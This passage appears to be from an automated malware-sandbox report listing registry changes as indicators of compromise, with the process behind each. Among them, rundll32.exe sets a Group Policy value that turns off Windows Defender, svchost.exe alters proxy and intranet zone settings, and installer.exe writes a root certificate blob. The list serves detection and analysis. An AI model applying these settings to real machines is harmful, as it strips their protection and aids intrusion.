description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies\Microsoft rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\@C:\Windows\System32\FirewallControlPanel.dll,-12122 = "Windows Firewall" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies\Microsoft\Windows Defender rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\GROUP POLICY OBJECTS\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}USER rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies\Microsoft rundll32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}User rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE rundll32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine\SOFTWARE\Policies\Microsoft\Windows Defender rundll32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{9BEF8D9F-4FAD-4E34-9C1A-9A64642303AF}Machine rundll32.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\bestanimegame.com\Total = "1316" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\Total\ = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\bestanimegame.com\Total = "90" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 81fbc697d641d701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 7c48519dd641d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\bestanimegame.com\Total = "75" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "1316" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\FileVersion = "2016061511" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\NextUpdateDate = "327084648" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\ MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "395205405" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = c50554b2d641d701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 7012eb847b4ad701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CRLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\InProgressFlags = "262144" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\bestanimegame.com\Total = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C414548CC3098124D97E31A29BF7FD26\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "4888" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 